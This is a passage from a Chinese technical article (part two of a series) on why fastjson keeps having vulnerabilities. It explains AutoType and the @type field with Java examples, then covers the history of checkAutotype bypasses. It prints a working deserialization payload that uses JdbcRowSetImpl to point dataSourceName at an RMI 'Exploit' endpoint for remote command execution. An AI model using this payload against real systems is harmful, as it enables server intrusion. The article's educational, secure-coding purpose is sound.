CSDNfastjson到底做错了什么?为什么会被频繁爆出漏洞?( 二 )

JSON.toJSONString进行序列化 , 可以得到以下JSON内容:toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}那么 , 这个fruit的类型到底是什么呢 , 能否反序列化成Apple呢?我们再来执行以下代码:Store newStore = JSON.parseObject(jsonString, Store.class);System.out.println("parseObject : " + newStore);Apple newApple = (Apple)newStore.getFruit;System.out.println("getFruit : " + newApple);执行结果如下:toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}parseObject : Store{name='Hollis', fruit={}}Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Appleat com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)可以看到 , 在将store反序列化之后 , 我们尝试将Fruit转换成Apple , 但是抛出了异常 , 尝试直接转换成Fruit则不会报错 , 如:Fruit newFruit = newStore.getFruit;System.out.println("getFruit : " + newFruit);以上现象 , 我们知道 , 当一个类中包含了一个接口(或抽象类)的时候 , 在使用fastjson进行序列化的时候 , 会将子类型抹去 , 只保留接口(抽象类)的类型 , 使得反序列化时无法拿到原始类型 。 那么有什么办法解决这个问题呢 , fastjson引入了AutoType , 即在序列化的时候 , 把原始类型记录下来 。 使用方法是通过SerializerFeature.WriteClassName进行标记 , 即将上述代码中的 。 String jsonString = JSON.toJSONString(store);修改成:String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);即可 , 以上代码 , 输出结果如下:System.out.println("toJSONString : " + jsonString);{"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}进行标记后 , JSON字符串中多出了一个@type字段 , 标注了类对应的原始类型 , 方便在反序列化的时候定位到具体类型如上 , 将序列化后的字符串在反序列化 , 既可以顺利的拿到一个Apple类型 , 整体输出内容:toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}getFruit : Apple{price=0.5}这就是AutoType , 以及fastjson中引入AutoType的原因 。 但是 , 也正是这个特性 , 因为在功能设计之初在安全方面考虑的不够周全 , 也给后续fastjson使用者带来了无尽的痛苦AutoType 何错之有?因为有了autoType功能 , 那么fastjson在对JSON字符串进行反序列化的时候 , 就会读取@type到内容 , 试图把JSON内容反序列化成这个对象 , 并且会调用这个类的setter方法 。 那么就可以利用这个特性 , 自己构造一个JSON字符串 , 并且使用@type指定一个自己想要使用的攻击类库 。 举个例子 , 黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl , 这是sun官方提供的一个类库 , 这个类的dataSourceName支持传入一个rmi的源 , 当解析这个uri的时候 , 就会支持rmi远程调用 , 去指定的rmi地址中去调用方法 。 而fastjson在反序列化时会调用目标类的setter方法 , 那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令 , 那么就会导致很严重的后果 。 如通过以下方式定一个JSON串 , 即可实现远程命令执行(在早期版本中 , 新版本中JdbcRowSetImpl已经被加了黑名单){"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}这就是所谓的远程命令执行漏洞 , 即利用漏洞入侵到目标服务器 , 通过服务器执行命令 。 在早期的fastjson版本中(v1.2.25 之前) , 因为AutoType是默认开启的 , 并且也没有什么限制 , 可以说是裸着的 。 从v1.2.25开始 , fastjson默认关闭了autotype支持 , 并且加入了checkAutotype , 加入了黑名单+白名单来防御autotype开启的情况 。 但是 , 也是从这个时候开始 , 黑客和fastjson作者之间的博弈就开始了 。 因为fastjson默认关闭了autotype支持 , 并且做了黑白名单的校验 , 所以攻击方向就转变成了"如何绕过checkAutotype" 。 下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理 , 由于篇幅限制 , 这里并不会讲解的特别细节 , 如果大家感兴趣我后面可以单独写一篇文章讲讲细节 。 下面的内容主要是提供一些思路 , 目的是说明写代码的时候注意安全性的重要性 。 绕过checkAutotype , 黑客与fastjson的博弈在fastjson v1.2.41 之前 , 在checkAutotype的代码中 , 会先进行黑白名单的过滤 , 如果要反序列化的类不在黑白名单中 , 那么才会对目标类进行反序列化 。 但是在加载的过程中 , fastjson有一段特殊的处理 , 那就是在具体加载类的时候会去掉className前后的


推荐阅读